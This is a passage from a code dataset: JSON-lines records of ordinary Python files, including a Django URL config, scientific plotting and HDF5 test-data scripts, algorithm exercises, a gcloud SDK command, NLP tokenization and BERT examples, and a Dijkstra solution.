views.create_order, name='create'),\n path('/', views.order_detail, name='detail'),\n path('payment///', views.payment, name='payment'),\n path('verify/', views.verify, name='verify'),\n]\n","repo_name":"amirhossein-razlighi/OnlineShop_Django","sub_path":"orders/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"851302002","text":"import numpy as np\nfrom problem_variables.initial_conditions import fine_output_angles_rad, fine_output_non_redundant_array, C_pitch_array\nfrom curves.Bezier import Bezier_curve\nimport matplotlib.pyplot as plt\n\n\ndef guess_points_fine_90deg(variables):\n\n [start_x,start_y, chip_length, Y2, X3, Y3, Z3, X4] = variables\n\n points = []\n for i in range(4):\n\n x1 = start_x + fine_output_non_redundant_array[i]\n y1 = 0\n z1 = 0\n\n x2 = x1 + Y2[i] * np.tan(fine_output_angles_rad[i])\n y2 = Y2[i]\n z2 = 0\n\n x3 = X3[i]\n y3 = Y3[i]\n z3 = Z3[i]\n\n x5 = chip_length\n y5 = start_y - C_pitch_array[i]\n z5 = 0\n\n x4 = X4[i]\n y4 = y5\n z4 = 0\n\n points.append( np.array([ [x1, y1, z1],\n [x2, y2, z2],\n #[x3, y3, z3],\n [x4, y4, z4],\n [x5, y5, z5] ]) )\n\n\n return points\n\nvariables = np.array( [0, 30, 50, [10, 10, 10 ,10], [25,25,25,25], [19,19,19,19], [2,2,2,2], [42,42,42,42] ])\n\npoints = guess_points_fine_90deg(variables)\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nfor waveguide in points:\n print(waveguide)\n print()\n curve = Bezier_curve(waveguide)\n\n ax.plot(curve.function()[0], curve.function()[1], curve.function()[2])\nax.set_zlim([-30,30])\nax.set_xlabel('X (mm)')\nax.set_ylabel('Y (mm)')\nax.set_zlabel('Z (mm)')\n","repo_name":"TiphaineL/metrology-chip","sub_path":"problem/fine_90deg.py","file_name":"fine_90deg.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71126192692","text":"import h5py\nimport numpy as np\nfrom scipy.special import sph_harm, factorial2\n\ndef write_h5_file():\n hf = h5py.File('lcao_spinor_molecule.h5','w')\n \n #atoms\n atoms = hf.create_group('atoms')\n nat = np.array([2])\n nsp = np.array([1])\n pos = np.array([[0.1,0.2,0.3],[-0.3,-0.2,-0.1]])\n ids = np.array([0,0])\n atoms.create_dataset('number_of_atoms', data=nat)\n atoms.create_dataset('number_of_species', data=nsp)\n atoms.create_dataset('positions', data=pos)\n atoms.create_dataset('species_ids', data=ids)\n sp = atoms.create_group('species_0')\n \n atnum = np.array([1])\n charge = np.array([1])\n core = np.array([1])\n name = \"H\"\n mylen = \"S\"+str(len(name))\n strList = [name]\n asciiList = [n.encode(\"ascii\", \"ignore\") for n in strList]\n sp.create_dataset(\"atomic_number\", data=atnum)\n sp.create_dataset(\"charge\", data=charge)\n sp.create_dataset(\"core\", data=core)\n sp.create_dataset(\"name\", (1,), mylen, asciiList)\n \n #PBC\n pbc = hf.create_group(\"PBC\")\n pbc.create_dataset(\"PBC\",(1,), dtype=\"b1\", data=False)\n \n #application\n app = hf.create_group(\"application\")\n code = \"generic\"\n mylen = \"S\"+str(len(code))\n strList = [code]\n asciiList = [n.encode(\"ascii\", \"ignore\") for n in strList]\n app.create_dataset(\"code\",(1,), mylen, asciiList)\n \n #basisset\n bs = hf.create_group(\"basisset\")\n bs.create_dataset(\"NbElements\", data=np.array([1]))\n name=\"LCAOBSet\"\n mylen=\"S\"+str(len(name))\n strList=[name]\n asciiList=[n.encode(\"ascii\",\"ignore\") for n in strList]\n bs.create_dataset(\"name\", (1,), mylen, asciiList)\n atbs = bs.create_group(\"atomicBasisSet0\")\n \n atbs.create_dataset(\"NbBasisGroups\", data=np.array([1]))\n mystr = \"cartesian\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n atbs.create_dataset(\"angular\",(1,), mylen, asciiList)\n mystr = \"H\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n atbs.create_dataset(\"elementType\",(1,), mylen, asciiList)\n mystr = \"Gamess\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n atbs.create_dataset(\"expandYlm\",(1,), mylen, asciiList)\n atbs.create_dataset(\"grid_npts\", data=np.array([1001]))\n atbs.create_dataset(\"grid_rf\", data=np.array([100]))\n atbs.create_dataset(\"grid_ri\", data=np.array([1e-06]))\n mystr = \"log\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n atbs.create_dataset(\"grid_type\",(1,), mylen, asciiList)\n mystr = \"Gaussian\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n atbs.create_dataset(\"name\",(1,), mylen, asciiList)\n mystr = \"no\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n atbs.create_dataset(\"normalized\",(1,), mylen, asciiList)\n \n bg = atbs.create_group(\"basisGroup0\")\n bg.create_dataset(\"NbRadFunc\", data=np.array([1]))\n bg.create_dataset(\"l\", data=np.array([0]))\n bg.create_dataset(\"n\", data=np.array([0]))\n mystr = \"H00\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n bg.create_dataset(\"rid\",(1,), mylen, asciiList)\n mystr = \"Gaussian\"\n mylen = \"S\"+str(len(mystr))\n strList = [mystr]\n asciiList = [n.encode(\"ascii\",\"ignore\") for n in strList]\n bg.create_dataset(\"type\",(1,), mylen, asciiList)\n rf = bg.create_group(\"radfunctions\")\n dr = rf.create_group(\"DataRad0\")\n dr.create_dataset(\"contraction\", data=np.array([1.0]))\n dr.create_dataset(\"exponent\", data=np.array([2.5]))\n \n \n kpts = hf.create_group(\"Super_Twist\")\n kpts.create_dataset(\"eigenset_0\", data=np.array([[0.075, 0.15]]))\n kpts.create_dataset(\"eigenset_0_imag\", data=np.array([[0.225, 0.45]]))\n kpts.create_dataset(\"eigenset_1\", data=np.array([[-0.12, -0.06]]))\n kpts.create_dataset(\"eigenset_1_imag\", data=np.array([[0.48, 0.24]]))\n hf.close()\n\nclass cartGauss:\n def __init__(self,expt,l=0,i=0,j=0,k=0):\n self.expt = expt\n self.l = l\n self.i = i\n self.j = j\n self.k = k\n assert(i+j+k == l)\n def norm(self):\n n = (2*self.expt / np.pi)**(3./4.)\n n *= np.sqrt(2.**(self.l) / factorial2(2*self.i - 1) / factorial2(2*self.j - 1) / factorial2(2*self.k - 1)) * np.sqrt(2*self.expt)**self.l\n return n\n def val(self,pos):\n r = np.linalg.norm(pos)\n norm = self.norm()\n return norm *pos[0]**self.i * pos[1]**self.j * pos[2]**self.k * np.exp(-self.expt * r * r)\n\ndef get_reference_values(pos, s):\n cs = np.cos(s)\n ss = np.sin(s)\n eis = cs + 1.j*ss\n emis = cs - 1.j*ss\n\n print(\"Position: {}\".format(pos))\n print(\"Spin: {}\".format(s))\n\n g0 = cartGauss(2.5, 0, 0, 0, 0)\n g1 = cartGauss(2.5, 0, 0, 0, 0)\n\n R0 = np.array([0.1,0.2,0.3])\n R1 = np.array([-0.3,-0.2,-0.1])\n\n c0 = 0.3\n c1 = 0.6\n\n upcoef = (0.25 + 0.75j)\n dncoef = (-0.2 + 0.8j)\n\n dr = 1e-7\n\n g0val = g0.val(pos-R0)\n g0px = g0.val(pos-(R0 + np.array([dr,0,0])))\n g0mx = g0.val(pos-(R0 - np.array([dr,0,0])))\n g0py = g0.val(pos-(R0 + np.array([0,dr,0])))\n g0my = g0.val(pos-(R0 - np.array([0,dr,0])))\n g0pz = g0.val(pos-(R0 + np.array([0,0,dr])))\n g0mz = g0.val(pos-(R0 - np.array([0,0,dr])))\n\n g1val = g1.val(pos-R1)\n g1px = g1.val(pos-(R1 + np.array([dr,0,0])))\n g1mx = g1.val(pos-(R1 - np.array([dr,0,0])))\n g1py = g1.val(pos-(R1 + np.array([0,dr,0])))\n g1my = g1.val(pos-(R1 - np.array([0,dr,0])))\n g1pz = g1.val(pos-(R1 + np.array([0,0,dr])))\n g1mz = g1.val(pos-(R1 - np.array([0,0,dr])))\n\n #atom 0\n uppx = c0*g0px + c1*g1val\n upmx = c0*g0mx + c1*g1val\n updx = (uppx - upmx) / (2*dr)\n dnpx = c1*g0px + c0*g1val\n dnmx = c1*g0mx + c0*g1val\n dndx = (dnpx - dnmx) / (2*dr)\n uppy = c0*g0py + c1*g1val\n upmy = c0*g0my + c1*g1val\n updy = (uppy - upmy) / (2*dr)\n dnpy = c1*g0py + c0*g1val\n dnmy = c1*g0my + c0*g1val\n dndy = (dnpy - dnmy) / (2*dr)\n uppz = c0*g0pz + c1*g1val\n upmz = c0*g0mz + c1*g1val\n updz = (uppz - upmz) / (2*dr)\n dnpz = c1*g0pz + c0*g1val\n dnmz = c1*g0mz + c0*g1val\n dndz = (dnpz - dnmz) / (2*dr)\n\n spdx = upcoef * updx * eis + dncoef * dndx * emis\n spdy = upcoef * updy * eis + dncoef * dndy * emis\n spdz = upcoef * updz * eis + dncoef * dndz * emis\n\n print(\"grad atom 0: {}, {}, {}\".format(spdx, spdy, spdz))\n\n #atom 1\n uppx = c0*g0val + c1*g1px\n upmx = c0*g0val + c1*g1mx\n updx = (uppx - upmx) / (2*dr)\n dnpx = c1*g0val + c0*g1px\n dnmx = c1*g0val + c0*g1mx\n dndx = (dnpx - dnmx) / (2*dr)\n uppy = c0*g0val + c1*g1py\n upmy = c0*g0val + c1*g1my\n updy = (uppy - upmy) / (2*dr)\n dnpy = c1*g0val + c0*g1py\n dnmy = c1*g0val + c0*g1my\n dndy = (dnpy - dnmy) / (2*dr)\n uppz = c0*g0val + c1*g1pz\n upmz = c0*g0val + c1*g1mz\n updz = (uppz - upmz) / (2*dr)\n dnpz = c1*g0val + c0*g1pz\n dnmz = c1*g0val + c0*g1mz\n dndz = (dnpz - dnmz) / (2*dr)\n\n spdx = upcoef * updx * eis + dncoef * dndx * emis\n spdy = upcoef * updy * eis + dncoef * dndy * emis\n spdz = upcoef * updz * eis + dncoef * dndz * emis\n\n print(\"grad atom 1: {}, {}, {}\".format(spdx, spdy, spdz))\n\n\n\nif __name__ == \"__main__\":\n write_h5_file()\n pos = np.array([0.01, -0.02, 0.03])\n s = 0.6\n get_reference_values(pos, s)\n \n","repo_name":"QMCPACK/qmcpack","sub_path":"src/QMCWaveFunctions/tests/lcao_spinor_molecule_test.py","file_name":"lcao_spinor_molecule_test.py","file_ext":"py","file_size_in_byte":7649,"program_lang":"python","lang":"en","doc_type":"code","stars":261,"dataset":"github-code","pt":"21"} +{"seq_id":"43760538418","text":"# %%\nimport numpy as np\nimport pickle\nimport os\nimport matplotlib.pyplot as plt\nfrom os.path import join, exists\nfrom os import mkdir\nimport pathlib\n\n\nos.sys.path.append(os.path.join(os.path.dirname(__file__), '../'))\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nimport matplotlib.font_manager as fm\nfont_path = 'arial.ttf'\nmy_font = fm.FontProperties(fname=font_path, size=12)\n\npathlib.Path('figures/competing').mkdir(parents=True, exist_ok=True)\n\ngroups = ['se_te_dpr_rcshr', 'netvlad', 'netvlad_lstm', 'seqnet', 'minkloc3d', 'm2dp', 'scancontext', 'kidnapped', 'utr']\nlabels = ['Ours:AutoPlace', 'NetVLAD', 'NetVLAD+LSTM', 'SeqNet', 'MinkLoc3D', 'M2DP', 'ScanContext', 'KidnappedRadar', 'UnderTheRadar']\nmask = [0, 1, 3, 4, 5, 6, 7, 8]\ngroups = [groups[m] for m in mask]\nlabels = [labels[m] for m in mask]\nmarkers = ['o', 'p', 's', '^', 'o', 'p', 's', '^', 'o', 'p', 's', 'o']\ndot_p = 0.3\ndot_n = 1.5\nline_p = 2\nline_n = 1.5\nlinestyles = [\n 'solid', (0, (1, 1.5, 1, 1.5)), (0, (1, 3, 1, 3)), (0, (3, 3)), (0, (line_p, line_n, dot_p, dot_n)), (0, (line_p, line_n, line_p, line_n, dot_p, dot_n)),\n (0, (dot_p, dot_n, dot_p, dot_n, line_p, line_n)), (0, (dot_p, dot_n)), (0, (dot_p, dot_n, dot_p, dot_n, dot_p, dot_n, line_p, line_n))\n]\n\nrecalls_list = []\nprecisions_list = []\nrecalls_at_n_list = []\nfor index, g in enumerate(groups):\n print(g)\n with open('./../parse/results/{}_results.pickle'.format(g), 'rb') as f:\n feature = pickle.load(f)\n precisions_list.append(feature['precisions'])\n recalls_list.append(feature['recalls'])\n recalls_at_n_list.append(feature['recalls_at_n'])\n\n\n# ---------------------------------------------- PR ---------------------------------------------- #\nplt.style.use('ggplot')\nfig = plt.figure(figsize=(4.8, 4.8))\nax = fig.add_subplot(111)\nfor index in range(len(recalls_list)):\n # ax.plot(recalls_list[index], precisions_list[index], linestyle=linestyles[index], label=labels[index], dash_capstyle='round', solid_capstyle=\"round\")\n ax.plot(recalls_list[index], precisions_list[index], linestyle=linestyles[index], label=labels[index], dash_capstyle='round', solid_capstyle=\"round\", lw=2)\nax.set_xlabel('Recall', fontproperties=my_font)\nax.set_ylabel('Precision', fontproperties=my_font)\n# https://www.coder.work/article/93874\n# legend = ax.legend(loc='lower left', handlelength=2, prop=my_font)\n# legend = ax.legend(loc='upper center', ncol=3, handlelength=1.5, bbox_to_anchor=(0.5, -0.15), borderpad=0.5, labelspacing=0.3, columnspacing=0.3, prop=my_font)\nlegend = ax.legend(loc='lower left', ncol=2, handlelength=1.8, borderpad=0.5, labelspacing=0.5, columnspacing=1, prop=my_font)\nframe = legend.get_frame()\nframe.set_alpha(1)\nframe.set_facecolor('none')\n\nax.grid('on', color='#e6e6e6')\nfor label in ax.get_xticklabels():\n label.set_fontproperties(my_font)\nfor label in ax.get_yticklabels():\n label.set_fontproperties(my_font)\nax.set_facecolor('white')\nbwith = 1\nax.spines['top'].set_color('grey')\nax.spines['right'].set_color('grey')\nax.spines['bottom'].set_color('grey')\nax.spines['left'].set_color('grey')\nax.spines['bottom'].set_linewidth(bwith)\nax.spines['left'].set_linewidth(bwith)\nax.spines['top'].set_linewidth(bwith)\nax.spines['right'].set_linewidth(bwith)\nax.xaxis.label.set_color('black')\nax.tick_params(axis='x', colors='black')\nax.yaxis.label.set_color('black')\nax.tick_params(axis='y', colors='black')\n# ax.set_ylim([0.7, 1])\nax.set_aspect(1.0 / ax.get_data_ratio(), adjustable='box')\n# ax.set_aspect(0.7 / ax.get_data_ratio(), adjustable='box')\n# ax.set_aspect('equal', 'box')\n\nplt.tight_layout()\nplt.savefig(\"figures/competing/PR-competing.svg\", format=\"svg\")\nplt.savefig('figures/competing/PR-competing.png', dpi=200)\n# plt.savefig(\"competing/PR-competing.eps\", format=\"eps\")\n# pp = PdfPages('competing/PR-competing.pdf')\n# pp.savefig()\n# pp.close()\n\n\n# ------------------------------------------- Recall@N ------------------------------------------- #\n# cmap = plt.get_cmap('cubehelix')\n# colors = [cmap(i) for i in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7]]\nplt.style.use('ggplot')\nfig = plt.figure(figsize=(6, 4))\nax = fig.add_subplot(111)\nfor index, recall in enumerate(recalls_at_n_list):\n ax.plot([1, 5, 10], [recall[1], recall[5], recall[10]], markersize=5, marker=markers[index], linestyle=linestyles[index], label=labels[index])\nax.set_xticks([1, 5, 10])\nax.set_xlabel('N', fontproperties=my_font)\nax.set_ylabel('Recall@N', fontproperties=my_font)\n# ax.set_ylim([0, 90])\nax.grid('on')\nfor label in ax.get_xticklabels():\n label.set_fontproperties(my_font)\nfor label in ax.get_yticklabels():\n label.set_fontproperties(my_font)\nax.legend(loc='upper center', ncol=3, bbox_to_anchor=(0.5, -0.15), prop=my_font)\nplt.tight_layout()\nplt.savefig('figures/competing/recall_at_n-competing.svg', format='svg')\nplt.savefig('figures/competing/recall_at_n-competing.png', dpi=200)\n# pp = PdfPages('competing/recall_at_n-competing.pdf')\n# pp.savefig()\n# pp.close()\n","repo_name":"ramdrop/autoplace","sub_path":"postprocess/vis/competing_figure.py","file_name":"competing_figure.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"21"} +{"seq_id":"15196862185","text":"from typing import List\nimport math\n\nclass Solution:\n def coinChange(self, coins: List[int], amount: int) -> int:\n coins.sort()\n MAX = math.inf\n dp = [MAX] * (amount+1)\n dp[0] = 0\n \n for amt in range(1, amount+1):\n for coin in coins:\n if amt >= coin:\n dp[amt] = min(dp[amt], dp[amt-coin] + 1)\n \n return dp[amount] if dp[amount] != MAX else -1\n \n\ncoins = [1,2,5]\namount = 11\n# Output: 3\n\nprint(Solution().coinChange(coins, amount))","repo_name":"nicasioca/leetcode","sub_path":"0322_coin_change.py","file_name":"0322_coin_change.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15725202308","text":"# -*- coding: UTF-8 -*- \n# author(作者):jiangrry\n\nfrom socket import *\n\nsockdf = socket(AF_INET, SOCK_DGRAM)\n\nADDR = (\"127.0.0.1\", 8888)\nwhile True:\n data = input(\"word>>>\")\n if not data:\n break\n sockdf.sendto(data.encode(), ADDR)\n msg, addr = sockdf.recvfrom(1024)\n print(msg.decode())\n\nsockdf.close()\n","repo_name":"jiangrry/study","sub_path":"Month2/UDP+TCP/Udp_Socket/exercise/exercise_client.py","file_name":"exercise_client.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8005523873","text":"N = int(input())\nAn = [0] + sorted(set(map(int, input().split())))\nP = 10**9 + 7\n\nans = 1\nfor i in range(1, len(An)):\n ans *= (An[i] - An[i-1] + 1)\n ans %= P\n\nprint(ans)\n","repo_name":"makiton/atcoder","sub_path":"arc117/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14082015981","text":"from googlecloudsdk.api_lib.storage import insights_api\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.command_lib.storage.insights.dataset_configs import log_util\nfrom googlecloudsdk.command_lib.storage.insights.dataset_configs import resource_args\n\n\n@base.ReleaseTracks(base.ReleaseTrack.ALPHA)\nclass CreateLink(base.Command):\n \"\"\"Create a link to a BigQuery instance.\"\"\"\n\n detailed_help = {\n 'DESCRIPTION': \"\"\"\n Create link to the customer BigQuery instance for insights dataset config.\n \"\"\",\n 'EXAMPLES': \"\"\"\n\n To create a link to the customer BigQuery instance for config name:\n \"my-config\" in location \"us-central1\":\n\n $ {command} my-config --location=us-central1\n\n To create a link for the same dataset config with fully specified name:\n\n $ {command} projects/foo/locations/us-central1/datasetConfigs/my-config\n \"\"\",\n }\n\n @staticmethod\n def Args(parser):\n resource_args.add_dataset_config_resource_arg(parser, 'to create link')\n\n def Run(self, args):\n client = insights_api.InsightsApi()\n dataset_config_relative_name = (\n args.CONCEPTS.dataset_config.Parse().RelativeName()\n )\n\n create_dataset_config_link_operation = client.create_dataset_config_link(\n dataset_config_relative_name,\n )\n log_util.dataset_config_operation_started_and_status_log(\n 'Create link',\n dataset_config_relative_name,\n create_dataset_config_link_operation.name,\n )\n","repo_name":"Flank/gcloud_cli","sub_path":"google-cloud-sdk/lib/surface/storage/insights/dataset_configs/create_link.py","file_name":"create_link.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"70533302772","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 12 16:31:48 2016\n\n@author: Ferriss\n\nCreate a pdf with plots showing all baselines and resolved peaks for all\nspectra used to determine site-specific hydrogen diffusivities \nin the paper 'Site-specific hydrogen diffusion during\nclinopyroxene dehyration' by Ferriss et al. 2016\n\"\"\"\n\nimport cpx_spectra\nfrom matplotlib.backends.backend_pdf import PdfPages\n\n\n#%%\npp = PdfPages('all_cpx_spectra_and_peakfits.pdf')\n\nwb_list = [cpx_spectra.K3wb_init,\n cpx_spectra.K3wb_700C_19hr,\n cpx_spectra.K3wb_700C_35hr,\n cpx_spectra.K3wb_800C_15hr,\n cpx_spectra.K3wb_6days,\n cpx_spectra.K4wb_init,\n cpx_spectra.K4wb_quench,\n cpx_spectra.K4wb_91hr,\n cpx_spectra.K4wb_154hr,\n cpx_spectra.K5wb_init,\n cpx_spectra.K5wb,\n cpx_spectra.J1wb_initial,\n cpx_spectra.J1wb\n ]\n\nfor wb in wb_list:\n for profile in wb.profiles: \n for idx, spectrum in enumerate(profile.spectra_list):\n spectrum.get_baseline()\n spectrum.get_peakfit() \n fig, ax = spectrum.plot_peakfit_and_baseline()\n fig.set_size_inches(6, 6)\n title = ''.join((profile.profile_name, '\\n ', \n '{:.1f}'.format(profile.positions_microns[idx]),\n ' $\\mu$m || ', profile.direction, ', ray path || ',\n profile.raypath))\n top = ax.get_ylim()[1]\n ax.set_ylim(-0.1, top) \n ax.set_title(title) \n pp.savefig()\n fig.clf()\n\ntime_series = cpx_spectra.PMR_unpol\nfor idx, spectrum in enumerate(time_series.spectra_list):\n spectrum.get_baseline()\n spectrum.get_peakfit()\n fig, ax = spectrum.plot_peakfit_and_baseline()\n fig.set_size_inches(6, 6)\n title = ''.join(('augite PMR dehydrated at 800$\\degree\\C\\n ', \n '{:.1f}'.format(time_series.times_hours[idx]), ' hours'))\n ax.set_title(title) \n pp.savefig()\n fig.clf()\n \npp.close() \n \n \n\n","repo_name":"EFerriss/HydrogenCpx","sub_path":"HydrogenCpx/all_cpx_spectra_and_peakfits_in_one_pdf.py","file_name":"all_cpx_spectra_and_peakfits_in_one_pdf.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33569059156","text":"import pandas as pd\nimport os\nfrom tqdm import tqdm\nimport math\n\nimport torch\nfrom transformers import XLMRobertaTokenizer\n\n# tokenizer load and add token\nckpt = \"xlm-roberta-base\"\n\ntokenizer = XLMRobertaTokenizer.from_pretrained(ckpt)\nprint(f\"\\'{ckpt}\\' tokenizer is loaded.\")\nprint(f\"XLM-R-base Vocab Size : {tokenizer.vocab_size}\")\n\ndef tokenize(data_path):\n\n df = pd.read_csv(data_path, sep=\";\")\n df = df.head(100) # only for testing!\n\n tokenized_values = []\n for i, ans in tqdm(enumerate(df.Value)):\n if type(ans) != str:\n if math.isnan(ans):\n ans = \"\"\n result_tokens = tokenizer.tokenize(ans)\n tokenized_values.append(result_tokens)\n\n df['tokenized_value'] = tokenized_values\n return df\n\nif __name__==\"__main__\":\n\n # file_path = \"ePIRLS16_data_v1_dipf.csv\"\n # save_path = \"ePIRLS16_data_v1_dipf_tkn.csv\"\n file_path = \"../051.Data/411.merged_CSV/data.csv\"\n save_path = \"../051.Data/411.merged_CSV/data_tkn.csv\"\n tokenized_df = tokenize(file_path)\n tokenized_df.to_csv(save_path, index=False)\n\n print(f\"Tokenized file is saved as {save_path}!\")","repo_name":"Jonator3/reco-var-main","sub_path":"201.Scripts/tokenization_ePIRLS.py","file_name":"tokenization_ePIRLS.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7482641504","text":"import os\nfrom tkinter import messagebox\n\nappTitle = \"Run Apps v1.1 by Paolo Patron\"\nselectedapps = []\n\n\ndef runapps():\n for selectedapp in selectedapps:\n os.startfile(selectedapp)\n\n exit(0)\n\n\nif os.path.isfile(appTitle):\n with open(appTitle, 'r') as f:\n tempapps = f.read()\n tempapps = tempapps.split(',')\n selectedapps = [x for x in tempapps if x.strip()]\n\n runapps()\nelse:\n messagebox.showerror(appTitle, \"No saved file found.\")","repo_name":"paolopatron/refactored-invention","sub_path":"RunAppsCmd.py","file_name":"RunAppsCmd.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37219018021","text":"class Solution:\n def slowestKey(self, releaseTimes: 'List[int]', keysPressed: str) -> str:\n prev = 0\n output = keysPressed[0]\n currMax = releaseTimes[0]\n for i in range(len(releaseTimes)):\n if releaseTimes[i] - prev > currMax:\n currMax = max(currMax, releaseTimes[i] - prev)\n output = keysPressed[i]\n elif releaseTimes[i] - prev == currMax:\n output = max(output, keysPressed[i])\n prev = releaseTimes[i]\n return output\n\n\n\n\n# previous approach\n# class Solution:\n# def slowestKey(self, releaseTimes: 'List[int]', keysPressed: str) -> str:\n# curr = releaseTimes[0]\n# output = keysPressed[0]\n# for i in range(1, len(keysPressed)):\n# diff = releaseTimes[i] - releaseTimes[i - 1]\n# if diff > curr:\n# curr = diff\n# output = keysPressed[i]\n# elif diff == curr:\n# output = max(keysPressed[i], output)\n# return output\n#\n\n","repo_name":"renjieliu/leetcode","sub_path":"1500_1999/1629.py","file_name":"1629.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"5914769620","text":"import torch\nfrom transformers import *\n\n# Transformers has a unified API\n# for 8 transformer architectures and 30 pretrained weights.\n# Model | Tokenizer | Pretrained weights shortcut\nMODELS = [(BertModel, BertTokenizer, './data')]\n# (OpenAIGPTModel, OpenAIGPTTokenizer, 'openai-gpt'),\n# (GPT2Model, GPT2Tokenizer, 'gpt2'),\n# (CTRLModel, CTRLTokenizer, 'ctrl'),\n# (TransfoXLModel, TransfoXLTokenizer, 'transfo-xl-wt103'),\n# (XLNetModel, XLNetTokenizer, 'xlnet-base-cased'),\n# (XLMModel, XLMTokenizer, 'xlm-mlm-enfr-1024'),\n# (DistilBertModel, DistilBertTokenizer, 'distilbert-base-uncased'),\n# (RobertaModel, RobertaTokenizer, 'roberta-base')]\n\n# To use TensorFlow 2.0 versions of the models, simply prefix the class names with 'TF', e.g. `TFRobertaModel` is the TF 2.0 counterpart of the PyTorch model `RobertaModel`\n\n# Let's encode some text in a sequence of hidden-states using each model:\n# for model_class, tokenizer_class, pretrained_weights in MODELS:\n# # Load pretrained model/tokenizer\n# tokenizer = tokenizer_class.from_pretrained(pretrained_weights)\n# model = model_class.from_pretrained(pretrained_weights)\n#\n# # Encode text\n# input_ids = torch.tensor([tokenizer.encode(\"这是一个句子哈哈哈\", add_special_tokens=True)]) # Add special tokens takes care of adding [CLS], [SEP], ... tokens in the right way for each model.\n# with torch.no_grad():\n# last_hidden_states = model(input_ids)[0] # Models outputs are now tuples\n# print(pretrained_weights)\n# print(last_hidden_states.shape)\n# print(last_hidden_states)\n\n# Each architecture is provided with several class for fine-tuning on down-stream tasks, e.g.\nBERT_MODEL_CLASSES = [BertModel, BertForPreTraining, BertForMaskedLM, BertForNextSentencePrediction,\n BertForSequenceClassification, BertForMultipleChoice, BertForTokenClassification,\n BertForQuestionAnswering]\nMY_MODEL = [BertModel]\n\n\n# All the classes for an architecture can be initiated from pretrained weights for this architecture\n# Note that additional weights added for fine-tuning are only initialized\n# and need to be trained on the down-stream task\npretrained_weights = './data'\ntokenizer = BertTokenizer.from_pretrained(pretrained_weights)\nfor model_class in MY_MODEL:\n # Load pretrained model/tokenizer\n # model = model_class.from_pretrained(pretrained_weights)\n\n # Models can return full list of hidden-states & attentions weights at each layer\n model = model_class.from_pretrained(pretrained_weights,\n output_hidden_states=True,\n output_attentions=True)\n input_ids = torch.tensor([tokenizer.encode(\n \"公安部揭开“维权”事件的黑幕,原标题:揭开“维权”事件的黑幕——公安部指挥摧毁一个以北京锋锐律师事务所为平台,“维权”律师、推手、“访民”相互勾连、滋事扰序的涉嫌重大犯罪团伙新华社北京7月11日电(人民日报记者黄庆畅、新华社记者邹伟)黑龙江庆安、江西南昌、山东潍坊、河南郑州、湖南长沙、湖北武汉12一系列热点事件的现场,为何屡屡出现律师挑头闹事、众多“访民”举牌滋事?一系列敏感案件的庭外,为何屡屡出\")])\n\n print(model(input_ids)[1].shape)\n all_hidden_states, all_attentions = model(input_ids)[-2:]\n print(all_hidden_states[0].shape)\n print(all_attentions[0].shape)\n print(all_hidden_states)\n print(all_hidden_states)\n","repo_name":"TsNFs/SecretProject","sub_path":"torch_bert/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"16027658014","text":"# 간선 이어가기2, G5, 다익스트라\n# 무방향 그래프\n\nimport heapq\nfrom sys import stdin\n\nn, m = map(int, stdin.readline().split())\n\ngraph = [[] for _ in range(n+1)]\nINF = int(1e9)\ndist = [INF] * (n+1)\n\nfor _ in range(m):\n a,b,c = map(int, stdin.readline().split())\n graph[a].append((b,c))\n graph[b].append((a,c))\n\ndef dikjstra(s):\n q = []\n heapq.heappush(q, (0,s))\n dist[s] = 0\n\n while q:\n distance, now = heapq.heappop(q)\n\n if dist[now] < distance: # 이미 작으니까 갱신할 필요가 없음\n continue\n\n for v,w in graph[now]:\n cost = distance + w\n if cost < dist[v]:\n dist[v] = cost\n heapq.heappush(q,(cost, v))\n\ns, t = map(int, 